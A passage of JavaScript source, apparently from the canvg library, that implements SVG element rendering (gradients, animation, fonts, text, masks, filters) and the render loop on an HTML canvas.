tempSvg.attributes['height'] = new svg.Property('height', this.attribute('markerHeight').value);
tempSvg.attributes['fill'] = new svg.Property('fill', this.attribute('fill').valueOrDefault('black'));
tempSvg.attributes['stroke'] = new svg.Property('stroke', this.attribute('stroke').valueOrDefault('none'));
tempSvg.children = this.children;
tempSvg.render(ctx);
ctx.restore();
if (this.attribute('markerUnits').valueOrDefault('strokeWidth') == 'strokeWidth') ctx.scale(1/ctx.lineWidth, 1/ctx.lineWidth);
if (this.attribute('orient').valueOrDefault('auto') == 'auto') ctx.rotate(-angle);
ctx.translate(-point.x, -point.y);
}
}
svg.Element.marker.prototype = new svg.Element.ElementBase;
// definitions element
svg.Element.defs = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
this.render = function(ctx) {
// NOOP
}
}
svg.Element.defs.prototype = new svg.Element.ElementBase;
// base for gradients
svg.Element.GradientBase = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
this.gradientUnits = this.attribute('gradientUnits').valueOrDefault('objectBoundingBox');
this.stops = [];
for (var i=0; i<this.children.length; i++) {
var child = this.children[i];
this.stops.push(child);
}
this.getGradient = function() {
// OVERRIDE ME!
}
this.createGradient = function(ctx, element) {
var stopsContainer = this;
if (this.attribute('xlink:href').hasValue()) {
stopsContainer = this.attribute('xlink:href').Definition.getDefinition();
}
var g = this.getGradient(ctx, element);
for (var i=0; i<stopsContainer.stops.length; i++) {
g.addColorStop(stopsContainer.stops[i].offset, stopsContainer.stops[i].color);
}
if (this.attribute('gradientTransform').hasValue()) {
// render as transformed pattern on temporary canvas
var rootView = svg.ViewPort.viewPorts[0];
var rect = new svg.Element.rect();
rect.attributes['x'] = new svg.Property('x', -svg.MAX_VIRTUAL_PIXELS/3.0);
rect.attributes['y'] = new svg.Property('y', -svg.MAX_VIRTUAL_PIXELS/3.0);
rect.attributes['width'] = new svg.Property('width', svg.MAX_VIRTUAL_PIXELS);
rect.attributes['height'] = new svg.Property('height', svg.MAX_VIRTUAL_PIXELS);
var group = new svg.Element.g();
group.attributes['transform'] = new svg.Property('transform', this.attribute('gradientTransform').value);
group.children = [ rect ];
var tempSvg = new svg.Element.svg();
tempSvg.attributes['x'] = new svg.Property('x', 0);
tempSvg.attributes['y'] = new svg.Property('y', 0);
tempSvg.attributes['width'] = new svg.Property('width', rootView.width);
tempSvg.attributes['height'] = new svg.Property('height', rootView.height);
tempSvg.children = [ group ];
var c = document.createElement('canvas');
c.width = rootView.width;
c.height = rootView.height;
var tempCtx = c.getContext('2d');
tempCtx.fillStyle = g;
tempSvg.render(tempCtx);
return tempCtx.createPattern(c, 'no-repeat');
}
return g;
}
}
svg.Element.GradientBase.prototype = new svg.Element.ElementBase;
// linear gradient element
svg.Element.linearGradient = function(node) {
this.base = svg.Element.GradientBase;
this.base(node);
this.getGradient = function(ctx, element) {
var bb = element.getBoundingBox();
var x1 = (this.gradientUnits == 'objectBoundingBox'
? bb.x() + bb.width() * this.attribute('x1').numValue()
: this.attribute('x1').Length.toPixels('x'));
var y1 = (this.gradientUnits == 'objectBoundingBox'
? bb.y() + bb.height() * this.attribute('y1').numValue()
: this.attribute('y1').Length.toPixels('y'));
var x2 = (this.gradientUnits == 'objectBoundingBox'
? bb.x() + bb.width() * this.attribute('x2').numValue()
: this.attribute('x2').Length.toPixels('x'));
var y2 = (this.gradientUnits == 'objectBoundingBox'
? bb.y() + bb.height() * this.attribute('y2').numValue()
: this.attribute('y2').Length.toPixels('y'));
return ctx.createLinearGradient(x1, y1, x2, y2);
}
}
svg.Element.linearGradient.prototype = new svg.Element.GradientBase;
// radial gradient element
svg.Element.radialGradient = function(node) {
this.base = svg.Element.GradientBase;
this.base(node);
this.getGradient = function(ctx, element) {
var bb = element.getBoundingBox();
var cx = (this.gradientUnits == 'objectBoundingBox'
? bb.x() + bb.width() * this.attribute('cx').numValue()
: this.attribute('cx').Length.toPixels('x'));
var cy = (this.gradientUnits == 'objectBoundingBox'
? bb.y() + bb.height() * this.attribute('cy').numValue()
: this.attribute('cy').Length.toPixels('y'));
var fx = cx;
var fy = cy;
if (this.attribute('fx').hasValue()) {
fx = (this.gradientUnits == 'objectBoundingBox'
? bb.x() + bb.width() * this.attribute('fx').numValue()
: this.attribute('fx').Length.toPixels('x'));
}
if (this.attribute('fy').hasValue()) {
fy = (this.gradientUnits == 'objectBoundingBox'
? bb.y() + bb.height() * this.attribute('fy').numValue()
: this.attribute('fy').Length.toPixels('y'));
}
var r = (this.gradientUnits == 'objectBoundingBox'
? (bb.width() + bb.height()) / 2.0 * this.attribute('r').numValue()
: this.attribute('r').Length.toPixels());
return ctx.createRadialGradient(fx, fy, 0, cx, cy, r);
}
}
svg.Element.radialGradient.prototype = new svg.Element.GradientBase;
// gradient stop element
svg.Element.stop = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
this.offset = this.attribute('offset').numValue();
var stopColor = this.style('stop-color');
if (this.style('stop-opacity').hasValue()) stopColor = stopColor.Color.addOpacity(this.style('stop-opacity').value);
this.color = stopColor.value;
}
svg.Element.stop.prototype = new svg.Element.ElementBase;
// animation base element
svg.Element.AnimateBase = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
svg.Animations.push(this);
this.duration = 0.0;
this.begin = this.attribute('begin').Time.toMilliseconds();
this.maxDuration = this.begin + this.attribute('dur').Time.toMilliseconds();
this.getProperty = function() {
var attributeType = this.attribute('attributeType').value;
var attributeName = this.attribute('attributeName').value;
if (attributeType == 'CSS') {
return this.parent.style(attributeName, true);
}
return this.parent.attribute(attributeName, true);
};
this.initialValue = null;
this.removed = false;
this.calcValue = function() {
// OVERRIDE ME!
return '';
}
this.update = function(delta) {
// set initial value
if (this.initialValue == null) {
this.initialValue = this.getProperty().value;
}
// if we're past the end time
if (this.duration > this.maxDuration) {
// loop for indefinitely repeating animations
if (this.attribute('repeatCount').value == 'indefinite') {
this.duration = 0.0
}
else if (this.attribute('fill').valueOrDefault('remove') == 'remove' && !this.removed) {
this.removed = true;
this.getProperty().value = this.initialValue;
return true;
}
else {
return false; // no updates made
}
}
this.duration = this.duration + delta;
// if we're past the begin time
var updated = false;
if (this.begin < this.duration) {
var newValue = this.calcValue(); // tween
if (this.attribute('type').hasValue()) {
// for transform, etc.
var type = this.attribute('type').value;
newValue = type + '(' + newValue + ')';
}
this.getProperty().value = newValue;
updated = true;
}
return updated;
}
// fraction of duration we've covered
this.progress = function() {
return ((this.duration - this.begin) / (this.maxDuration - this.begin));
}
}
svg.Element.AnimateBase.prototype = new svg.Element.ElementBase;
// animate element
svg.Element.animate = function(node) {
this.base = svg.Element.AnimateBase;
this.base(node);
this.calcValue = function() {
var from = this.attribute('from').numValue();
var to = this.attribute('to').numValue();
// tween value linearly
return from + (to - from) * this.progress();
};
}
svg.Element.animate.prototype = new svg.Element.AnimateBase;
// animate color element
svg.Element.animateColor = function(node) {
this.base = svg.Element.AnimateBase;
this.base(node);
this.calcValue = function() {
var from = new RGBColor(this.attribute('from').value);
var to = new RGBColor(this.attribute('to').value);
if (from.ok && to.ok) {
// tween color linearly
var r = from.r + (to.r - from.r) * this.progress();
var g = from.g + (to.g - from.g) * this.progress();
var b = from.b + (to.b - from.b) * this.progress();
return 'rgb('+parseInt(r,10)+','+parseInt(g,10)+','+parseInt(b,10)+')';
}
return this.attribute('from').value;
};
}
svg.Element.animateColor.prototype = new svg.Element.AnimateBase;
// animate transform element
svg.Element.animateTransform = function(node) {
this.base = svg.Element.animate;
this.base(node);
}
svg.Element.animateTransform.prototype = new svg.Element.animate;
// font element
svg.Element.font = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
this.horizAdvX = this.attribute('horiz-adv-x').numValue();
this.isRTL = false;
this.isArabic = false;
this.fontFace = null;
this.missingGlyph = null;
this.glyphs = [];
for (var i=0; i<this.children.length; i++) {
var child = this.children[i];
if (child.type == 'font-face') {
this.fontFace = child;
if (child.style('font-family').hasValue()) {
svg.Definitions[child.style('font-family').value] = this;
}
}
else if (child.type == 'missing-glyph') this.missingGlyph = child;
else if (child.type == 'glyph') {
if (child.arabicForm != '') {
this.isRTL = true;
this.isArabic = true;
if (typeof(this.glyphs[child.unicode]) == 'undefined') this.glyphs[child.unicode] = [];
this.glyphs[child.unicode][child.arabicForm] = child;
}
else {
this.glyphs[child.unicode] = child;
}
}
}
}
svg.Element.font.prototype = new svg.Element.ElementBase;
// font-face element
svg.Element.fontface = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
this.ascent = this.attribute('ascent').value;
this.descent = this.attribute('descent').value;
this.unitsPerEm = this.attribute('units-per-em').numValue();
}
svg.Element.fontface.prototype = new svg.Element.ElementBase;
// missing-glyph element
svg.Element.missingglyph = function(node) {
this.base = svg.Element.path;
this.base(node);
this.horizAdvX = 0;
}
svg.Element.missingglyph.prototype = new svg.Element.path;
// glyph element
svg.Element.glyph = function(node) {
this.base = svg.Element.path;
this.base(node);
this.horizAdvX = this.attribute('horiz-adv-x').numValue();
this.unicode = this.attribute('unicode').value;
this.arabicForm = this.attribute('arabic-form').value;
}
svg.Element.glyph.prototype = new svg.Element.path;
// text element
svg.Element.text = function(node) {
this.base = svg.Element.RenderedElementBase;
this.base(node);
if (node != null) {
// add children
this.children = [];
for (var i=0; i<node.childNodes.length; i++) {
var childNode = node.childNodes[i];
if (childNode.nodeType == 1) { // capture tspan and tref nodes
this.addChild(childNode, true);
}
else if (childNode.nodeType == 3) { // capture text
this.addChild(new svg.Element.tspan(childNode), false);
}
}
}
this.baseSetContext = this.setContext;
this.setContext = function(ctx) {
this.baseSetContext(ctx);
if (this.style('dominant-baseline').hasValue()) ctx.textBaseline = this.style('dominant-baseline').value;
if (this.style('alignment-baseline').hasValue()) ctx.textBaseline = this.style('alignment-baseline').value;
}
this.renderChildren = function(ctx) {
var textAnchor = this.style('text-anchor').valueOrDefault('start');
var x = this.attribute('x').Length.toPixels('x');
var y = this.attribute('y').Length.toPixels('y');
for (var i=0; i<this.children.length; i++) {
var child = this.children[i];
if (child.attribute('x').hasValue()) {
child.x = child.attribute('x').Length.toPixels('x');
}
else {
if (child.attribute('dx').hasValue()) x += child.attribute('dx').Length.toPixels('x');
child.x = x;
}
var childLength = child.measureText(ctx);
if (textAnchor != 'start' && (i==0 || child.attribute('x').hasValue())) { // new group?
// loop through rest of children
var groupLength = childLength;
for (var j=i+1; j<this.children.length; j++) {
var childInGroup = this.children[j];
if (childInGroup.attribute('x').hasValue()) break; // new group
groupLength += childInGroup.measureText(ctx);
}
child.x -= (textAnchor == 'end' ? groupLength : groupLength / 2.0);
}
x = child.x + childLength;
if (child.attribute('y').hasValue()) {
child.y = child.attribute('y').Length.toPixels('y');
}
else {
if (child.attribute('dy').hasValue()) y += child.attribute('dy').Length.toPixels('y');
child.y = y;
}
y = child.y;
child.render(ctx);
}
}
}
svg.Element.text.prototype = new svg.Element.RenderedElementBase;
// text base
svg.Element.TextElementBase = function(node) {
this.base = svg.Element.RenderedElementBase;
this.base(node);
this.getGlyph = function(font, text, i) {
var c = text[i];
var glyph = null;
if (font.isArabic) {
var arabicForm = 'isolated';
if ((i==0 || text[i-1]==' ') && i<text.length-2 && text[i+1]!=' ') arabicForm = 'terminal';
if (i>0 && text[i-1]!=' ' && i<text.length-2 && text[i+1]!=' ') arabicForm = 'medial';
if (i>0 && text[i-1]!=' ' && (i == text.length-1 || text[i+1]==' ')) arabicForm = 'initial';
if (typeof(font.glyphs[c]) != 'undefined') {
glyph = font.glyphs[c][arabicForm];
if (glyph == null && font.glyphs[c].type == 'glyph') glyph = font.glyphs[c];
}
}
else {
glyph = font.glyphs[c];
}
if (glyph == null) glyph = font.missingGlyph;
return glyph;
}
this.renderChildren = function(ctx) {
var customFont = this.parent.style('font-family').Definition.getDefinition();
if (customFont != null) {
var fontSize = this.parent.style('font-size').numValueOrDefault(svg.Font.Parse(svg.ctx.font).fontSize);
var fontStyle = this.parent.style('font-style').valueOrDefault(svg.Font.Parse(svg.ctx.font).fontStyle);
var text = this.getText();
if (customFont.isRTL) text = text.split("").reverse().join("");
var dx = svg.ToNumberArray(this.parent.attribute('dx').value);
for (var i=0; i<text.length; i++) {
var glyph = this.getGlyph(customFont, text, i);
var scale = fontSize / customFont.fontFace.unitsPerEm;
ctx.translate(this.x, this.y);
ctx.scale(scale, -scale);
var lw = ctx.lineWidth;
ctx.lineWidth = ctx.lineWidth * customFont.fontFace.unitsPerEm / fontSize;
if (fontStyle == 'italic') ctx.transform(1, 0, .4, 1, 0, 0);
glyph.render(ctx);
if (fontStyle == 'italic') ctx.transform(1, 0, -.4, 1, 0, 0);
ctx.lineWidth = lw;
ctx.scale(1/scale, -1/scale);
ctx.translate(-this.x, -this.y);
this.x += fontSize * (glyph.horizAdvX || customFont.horizAdvX) / customFont.fontFace.unitsPerEm;
if (typeof(dx[i]) != 'undefined' && !isNaN(dx[i])) {
this.x += dx[i];
}
}
return;
}
if (ctx.strokeStyle != '') ctx.strokeText(svg.compressSpaces(this.getText()), this.x, this.y);
if (ctx.fillStyle != '') ctx.fillText(svg.compressSpaces(this.getText()), this.x, this.y);
}
this.getText = function() {
// OVERRIDE ME
}
this.measureText = function(ctx) {
var customFont = this.parent.style('font-family').Definition.getDefinition();
if (customFont != null) {
var fontSize = this.parent.style('font-size').numValueOrDefault(svg.Font.Parse(svg.ctx.font).fontSize);
var measure = 0;
var text = this.getText();
if (customFont.isRTL) text = text.split("").reverse().join("");
var dx = svg.ToNumberArray(this.parent.attribute('dx').value);
for (var i=0; i<text.length; i++) {
var glyph = this.getGlyph(customFont, text, i);
measure += (glyph.horizAdvX || customFont.horizAdvX) * fontSize / customFont.fontFace.unitsPerEm;
if (typeof(dx[i]) != 'undefined' && !isNaN(dx[i])) {
measure += dx[i];
}
}
return measure;
}
var textToMeasure = svg.compressSpaces(this.getText());
if (!ctx.measureText) return textToMeasure.length * 10;
ctx.save();
this.setContext(ctx);
var width = ctx.measureText(textToMeasure).width;
ctx.restore();
return width;
}
}
svg.Element.TextElementBase.prototype = new svg.Element.RenderedElementBase;
// tspan
svg.Element.tspan = function(node) {
this.base = svg.Element.TextElementBase;
this.base(node);
this.text = node.nodeType == 3 ? node.nodeValue : // text
node.childNodes.length > 0 ? node.childNodes[0].nodeValue : // element
node.text;
this.getText = function() {
return this.text;
}
}
svg.Element.tspan.prototype = new svg.Element.TextElementBase;
// tref
svg.Element.tref = function(node) {
this.base = svg.Element.TextElementBase;
this.base(node);
this.getText = function() {
var element = this.attribute('xlink:href').Definition.getDefinition();
if (element != null) return element.children[0].getText();
}
}
svg.Element.tref.prototype = new svg.Element.TextElementBase;
// a element
svg.Element.a = function(node) {
this.base = svg.Element.TextElementBase;
this.base(node);
this.hasText = true;
for (var i=0; i<node.childNodes.length; i++) {
if (node.childNodes[i].nodeType != 3) this.hasText = false;
}
// this might contain text
this.text = this.hasText ? node.childNodes[0].nodeValue : '';
this.getText = function() {
return this.text;
}
this.baseRenderChildren = this.renderChildren;
this.renderChildren = function(ctx) {
if (this.hasText) {
// render as text element
this.baseRenderChildren(ctx);
var fontSize = new svg.Property('fontSize', svg.Font.Parse(svg.ctx.font).fontSize);
svg.Mouse.checkBoundingBox(this, new svg.BoundingBox(this.x, this.y - fontSize.Length.toPixels('y'), this.x + this.measureText(ctx), this.y));
}
else {
// render as temporary group
var g = new svg.Element.g();
g.children = this.children;
g.parent = this;
g.render(ctx);
}
}
this.onclick = function() {
window.open(this.attribute('xlink:href').value);
}
this.onmousemove = function() {
svg.ctx.canvas.style.cursor = 'pointer';
}
}
svg.Element.a.prototype = new svg.Element.TextElementBase;
// image element
svg.Element.image = function(node) {
this.base = svg.Element.RenderedElementBase;
this.base(node);
svg.Images.push(this);
this.img = document.createElement('img');
this.loaded = false;
var that = this;
this.img.onload = function() { that.loaded = true; }
this.img.src = this.attribute('xlink:href').value;
this.renderChildren = function(ctx) {
var x = this.attribute('x').Length.toPixels('x');
var y = this.attribute('y').Length.toPixels('y');
var width = this.attribute('width').Length.toPixels('x');
var height = this.attribute('height').Length.toPixels('y');
if (width == 0 || height == 0) return;
ctx.save();
ctx.translate(x, y);
svg.AspectRatio(ctx,
this.attribute('preserveAspectRatio').value,
width,
this.img.width,
height,
this.img.height,
0,
0);
ctx.drawImage(this.img, 0, 0);
ctx.restore();
}
}
svg.Element.image.prototype = new svg.Element.RenderedElementBase;
// group element
svg.Element.g = function(node) {
this.base = svg.Element.RenderedElementBase;
this.base(node);
this.getBoundingBox = function() {
var bb = new svg.BoundingBox();
for (var i=0; i<this.children.length; i++) {
bb.addBoundingBox(this.children[i].getBoundingBox());
}
return bb;
};
}
svg.Element.g.prototype = new svg.Element.RenderedElementBase;
// symbol element
svg.Element.symbol = function(node) {
this.base = svg.Element.RenderedElementBase;
this.base(node);
this.baseSetContext = this.setContext;
this.setContext = function(ctx) {
this.baseSetContext(ctx);
// viewbox
if (this.attribute('viewBox').hasValue()) {
var viewBox = svg.ToNumberArray(this.attribute('viewBox').value);
var minX = viewBox[0];
var minY = viewBox[1];
width = viewBox[2];
height = viewBox[3];
svg.AspectRatio(ctx,
this.attribute('preserveAspectRatio').value,
this.attribute('width').Length.toPixels('x'),
width,
this.attribute('height').Length.toPixels('y'),
height,
minX,
minY);
svg.ViewPort.SetCurrent(viewBox[2], viewBox[3]);
}
}
}
svg.Element.symbol.prototype = new svg.Element.RenderedElementBase;
// style element
svg.Element.style = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
// text, or spaces then CDATA
var css = node.childNodes[0].nodeValue + (node.childNodes.length > 1 ? node.childNodes[1].nodeValue : '');
css = css.replace(/(\/\*([^*]|[\r\n]|(\*+([^*\/]|[\r\n])))*\*+\/)|(^[\s]*\/\/.*)/gm, ''); // remove comments
css = svg.compressSpaces(css); // replace whitespace
var cssDefs = css.split('}');
for (var i=0; i<cssDefs.length; i++) {
if (svg.trim(cssDefs[i]) != '') {
var cssDef = cssDefs[i].split('{');
var cssClasses = cssDef[0].split(',');
var cssProps = cssDef[1].split(';');
for (var j=0; j<cssClasses.length; j++) {
var cssClass = svg.trim(cssClasses[j]);
if (cssClass != '') {
var props = {};
for (var k=0; k<cssProps.length; k++) {
var prop = cssProps[k].indexOf(':');
var name = cssProps[k].substr(0, prop);
var value = cssProps[k].substr(prop + 1, cssProps[k].length - prop);
if (name != null && value != null) {
props[svg.trim(name)] = new svg.Property(svg.trim(name), svg.trim(value));
}
}
svg.Styles[cssClass] = props;
if (cssClass == '@font-face') {
var fontFamily = props['font-family'].value.replace(/"/g,'');
var srcs = props['src'].value.split(',');
for (var s=0; s<srcs.length; s++) {
if (srcs[s].indexOf('format("svg")') > 0) {
var urlStart = srcs[s].indexOf('url');
var urlEnd = srcs[s].indexOf(')', urlStart);
var url = srcs[s].substr(urlStart + 5, urlEnd - urlStart - 6);
var doc = svg.parseXml(svg.ajax(url));
var fonts = doc.getElementsByTagName('font');
for (var f=0; f<fonts.length; f++) {
var font = svg.CreateElement(fonts[f]);
svg.Definitions[fontFamily] = font;
}
}
}
}
}
}
}
}
}
svg.Element.style.prototype = new svg.Element.ElementBase;
// use element
svg.Element.use = function(node) {
this.base = svg.Element.RenderedElementBase;
this.base(node);
this.baseSetContext = this.setContext;
this.setContext = function(ctx) {
this.baseSetContext(ctx);
if (this.attribute('x').hasValue()) ctx.translate(this.attribute('x').Length.toPixels('x'), 0);
if (this.attribute('y').hasValue()) ctx.translate(0, this.attribute('y').Length.toPixels('y'));
}
this.getDefinition = function() {
var element = this.attribute('xlink:href').Definition.getDefinition();
if (this.attribute('width').hasValue()) element.attribute('width', true).value = this.attribute('width').value;
if (this.attribute('height').hasValue()) element.attribute('height', true).value = this.attribute('height').value;
return element;
}
this.path = function(ctx) {
var element = this.getDefinition();
if (element != null) element.path(ctx);
}
this.renderChildren = function(ctx) {
var element = this.getDefinition();
if (element != null) element.render(ctx);
}
}
svg.Element.use.prototype = new svg.Element.RenderedElementBase;
// mask element
svg.Element.mask = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
this.apply = function(ctx, element) {
// render as temp svg
var x = this.attribute('x').Length.toPixels('x');
var y = this.attribute('y').Length.toPixels('y');
var width = this.attribute('width').Length.toPixels('x');
var height = this.attribute('height').Length.toPixels('y');
// temporarily remove mask to avoid recursion
var mask = element.attribute('mask').value;
element.attribute('mask').value = '';
var cMask = document.createElement('canvas');
cMask.width = x + width;
cMask.height = y + height;
var maskCtx = cMask.getContext('2d');
this.renderChildren(maskCtx);
var c = document.createElement('canvas');
c.width = x + width;
c.height = y + height;
var tempCtx = c.getContext('2d');
element.render(tempCtx);
tempCtx.globalCompositeOperation = 'destination-in';
tempCtx.fillStyle = maskCtx.createPattern(cMask, 'no-repeat');
tempCtx.fillRect(0, 0, x + width, y + height);
ctx.fillStyle = tempCtx.createPattern(c, 'no-repeat');
ctx.fillRect(0, 0, x + width, y + height);
// reassign mask
element.attribute('mask').value = mask;
}
this.render = function(ctx) {
// NO RENDER
}
}
svg.Element.mask.prototype = new svg.Element.ElementBase;
// clip element
svg.Element.clipPath = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
this.apply = function(ctx) {
for (var i=0; i<this.children.length; i++) {
if (this.children[i].path) {
this.children[i].path(ctx);
ctx.clip();
}
}
}
this.render = function(ctx) {
// NO RENDER
}
}
svg.Element.clipPath.prototype = new svg.Element.ElementBase;
// filters
svg.Element.filter = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
this.apply = function(ctx, element) {
// render as temp svg
var bb = element.getBoundingBox();
var x = this.attribute('x').Length.toPixels('x');
var y = this.attribute('y').Length.toPixels('y');
if (x == 0 || y == 0) {
x = bb.x1;
y = bb.y1;
}
var width = this.attribute('width').Length.toPixels('x');
var height = this.attribute('height').Length.toPixels('y');
if (width == 0 || height == 0) {
width = bb.width();
height = bb.height();
}
// temporarily remove filter to avoid recursion
var filter = element.style('filter').value;
element.style('filter').value = '';
// max filter distance
var extraPercent = .20;
var px = extraPercent * width;
var py = extraPercent * height;
var c = document.createElement('canvas');
c.width = width + 2*px;
c.height = height + 2*py;
var tempCtx = c.getContext('2d');
tempCtx.translate(-x + px, -y + py);
element.render(tempCtx);
// apply filters
for (var i=0; i<this.children.length; i++) {
this.children[i].apply(tempCtx, 0, 0, width + 2*px, height + 2*py);
}
// render on me
ctx.drawImage(c, 0, 0, width + 2*px, height + 2*py, x - px, y - py, width + 2*px, height + 2*py);
// reassign filter
element.style('filter', true).value = filter;
}
this.render = function(ctx) {
// NO RENDER
}
}
svg.Element.filter.prototype = new svg.Element.ElementBase;
svg.Element.feGaussianBlur = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
function make_fgauss(sigma) {
sigma = Math.max(sigma, 0.01);
var len = Math.ceil(sigma * 4.0) + 1;
mask = [];
for (var i = 0; i < len; i++) {
mask[i] = Math.exp(-0.5 * (i / sigma) * (i / sigma));
}
return mask;
}
function normalize(mask) {
var sum = 0;
for (var i = 1; i < mask.length; i++) {
sum += Math.abs(mask[i]);
}
sum = 2 * sum + Math.abs(mask[0]);
for (var i = 0; i < mask.length; i++) {
mask[i] /= sum;
}
return mask;
}
function convolve_even(src, dst, mask, width, height) {
for (var y = 0; y < height; y++) {
for (var x = 0; x < width; x++) {
var a = imGet(src, x, y, width, height, 3)/255;
for (var rgba = 0; rgba < 4; rgba++) {
var sum = mask[0] * (a==0?255:imGet(src, x, y, width, height, rgba)) * (a==0||rgba==3?1:a);
for (var i = 1; i < mask.length; i++) {
var a1 = imGet(src, Math.max(x-i,0), y, width, height, 3)/255;
var a2 = imGet(src, Math.min(x+i, width-1), y, width, height, 3)/255;
sum += mask[i] *
((a1==0?255:imGet(src, Math.max(x-i,0), y, width, height, rgba)) * (a1==0||rgba==3?1:a1) +
(a2==0?255:imGet(src, Math.min(x+i, width-1), y, width, height, rgba)) * (a2==0||rgba==3?1:a2));
}
imSet(dst, y, x, height, width, rgba, sum);
}
}
}
}
function imGet(img, x, y, width, height, rgba) {
return img[y*width*4 + x*4 + rgba];
}
function imSet(img, x, y, width, height, rgba, val) {
img[y*width*4 + x*4 + rgba] = val;
}
function blur(ctx, width, height, sigma)
{
var srcData = ctx.getImageData(0, 0, width, height);
var mask = make_fgauss(sigma);
mask = normalize(mask);
tmp = [];
convolve_even(srcData.data, tmp, mask, width, height);
convolve_even(tmp, srcData.data, mask, height, width);
ctx.clearRect(0, 0, width, height);
ctx.putImageData(srcData, 0, 0);
}
this.apply = function(ctx, x, y, width, height) {
// assuming x==0 && y==0 for now
blur(ctx, width, height, this.attribute('stdDeviation').numValue());
}
}
svg.Element.filter.prototype = new svg.Element.feGaussianBlur;
// title element, do nothing
svg.Element.title = function(node) {
}
svg.Element.title.prototype = new svg.Element.ElementBase;
// desc element, do nothing
svg.Element.desc = function(node) {
}
svg.Element.desc.prototype = new svg.Element.ElementBase;
svg.Element.MISSING = function(node) {
console.log('ERROR: Element \'' + node.nodeName + '\' not yet implemented.');
}
svg.Element.MISSING.prototype = new svg.Element.ElementBase;
// element factory
svg.CreateElement = function(node) {
var className = node.nodeName.replace(/^[^:]+:/,''); // remove namespace
className = className.replace(/\-/g,''); // remove dashes
var e = null;
if (typeof(svg.Element[className]) != 'undefined') {
e = new svg.Element[className](node);
}
else {
e = new svg.Element.MISSING(node);
}
e.type = node.nodeName;
return e;
}
// load from url
svg.load = function(ctx, url) {
svg.loadXml(ctx, svg.ajax(url));
}
// load from xml
svg.loadXml = function(ctx, xml) {
svg.loadXmlDoc(ctx, svg.parseXml(xml));
}
svg.loadXmlDoc = function(ctx, dom) {
svg.init(ctx);
var mapXY = function(p) {
var e = ctx.canvas;
while (e) {
p.x -= e.offsetLeft;
p.y -= e.offsetTop;
e = e.offsetParent;
}
if (window.scrollX) p.x += window.scrollX;
if (window.scrollY) p.y += window.scrollY;
return p;
}
// bind mouse
if (svg.opts['ignoreMouse'] != true) {
ctx.canvas.onclick = function(e) {
var p = mapXY(new svg.Point(e != null ? e.clientX : event.clientX, e != null ? e.clientY : event.clientY));
svg.Mouse.onclick(p.x, p.y);
};
ctx.canvas.onmousemove = function(e) {
var p = mapXY(new svg.Point(e != null ? e.clientX : event.clientX, e != null ? e.clientY : event.clientY));
svg.Mouse.onmousemove(p.x, p.y);
};
}
var e = svg.CreateElement(dom.documentElement);
e.root = true;
// render loop
var isFirstRender = true;
var draw = function() {
svg.ViewPort.Clear();
if (ctx.canvas.parentNode) svg.ViewPort.SetCurrent(ctx.canvas.parentNode.clientWidth, ctx.canvas.parentNode.clientHeight);
if (svg.opts['ignoreDimensions'] != true) {
// set canvas size
if (e.style('width').hasValue()) {
ctx.canvas.width = e.style('width').Length.toPixels('x');
ctx.canvas.style.width = ctx.canvas.width + 'px';
}
if (e.style('height').hasValue()) {
ctx.canvas.height = e.style('height').Length.toPixels('y');
ctx.canvas.style.height = ctx.canvas.height + 'px';
}
}
var cWidth = ctx.canvas.clientWidth || ctx.canvas.width;
var cHeight = ctx.canvas.clientHeight || ctx.canvas.height;
svg.ViewPort.SetCurrent(cWidth, cHeight);
if (svg.opts != null && svg.opts['offsetX'] != null) e.attribute('x', true).value = svg.opts['offsetX'];
if (svg.opts != null && svg.opts['offsetY'] != null) e.attribute('y', true).value = svg.opts['offsetY'];
if (svg.opts != null && svg.opts['scaleWidth'] != null && svg.opts['scaleHeight'] != null) {
var xRatio = 1, yRatio = 1;
if (e.attribute('width').hasValue()) xRatio = e.attribute('width').Length.toPixels('x') / svg.opts['scaleWidth'];
if (e.attribute('height').hasValue()) yRatio = e.attribute('height').Length.toPixels('y') / svg.opts['scaleHeight'];
e.attribute('width', true).value = svg.opts['scaleWidth'];
e.attribute('height', true).value = svg.opts['scaleHeight'];
e.attribute('viewBox', true).value = '0 0 ' + (cWidth * xRatio) + ' ' + (cHeight * yRatio);
e.attribute('preserveAspectRatio', true).value = 'none';
}
// clear and render
if (svg.opts['ignoreClear'] != true) {
ctx.clearRect(0, 0, cWidth, cHeight);
}
e.render(ctx);
if (isFirstRender) {
isFirstRender = false;
if (svg.opts != null && typeof(svg.opts['renderCallback']) == 'function') svg.opts['renderCallback']();
}
}
var waitingForImages = true;
if (svg.ImagesLoaded()) {
waitingForImages = false;
draw();
}
svg.intervalID = setInterval(function() {
var needUpdate = false;
if (waitingForImages && svg.ImagesLoaded()) {
waitingForImages = false;
needUpdate = true;
}
// need update from mouse events?
if (svg.opts['ignoreMouse'] != true) {
needUpdate = needUpdate | svg.Mouse.hasEvents();
}
// need update from animations?
if (svg.opts['ignoreAnimation'] != true) {
for (var i=0; i<svg.Animations.length; i++) {
needUpdate = needUpdate | svg.Animations[i].update(1000 / svg.FRAMERATE);
}
}
// need update from redraw?
if (svg.opts != null && typeof(svg.opts['forceRedraw']) == 'function') {
if (svg.opts['forceRedraw']() == true) needUpdate = true;
}
// render if needed
if (needUpdate) {
draw();
svg.Mouse.runEvents(); // run and clear our events
}
}, 1000 / svg.FRAMERATE);
}
svg.stop = function() {
if (svg.intervalID) {
clearInterval(svg.intervalID);
}
}
svg.Mouse = new (function() {
this.events = [];
this.hasEvents = function() { return this.events.length != 0; }
this.onclick = function(x, y) {
this.events.push({ type: 'onclick', x: x, y: y,
run: function(e) { if (e.onclick) e.onclick(); }
});
}
this.onmousemove = function(x, y) {
this.events.push({ type: 'onmousemove', x: x, y: y,
run: function(e) { if (e.onmousemove) e.onmousemove(); }
});
}
this.eventElements = [];
this.checkPath = function(element, ctx) {
for (var i=0; i<this.events.length; i++) {
var e = this.events[i];
if (ctx.isPointInPath && ctx.isPointInPath(e.x, e.y)) this.eventElements[i] = element;
}
}
this.checkBoundingBox = function(element, bb) {
for (var i=0; i<this.events.length; i++) {
var e = this.events[i];
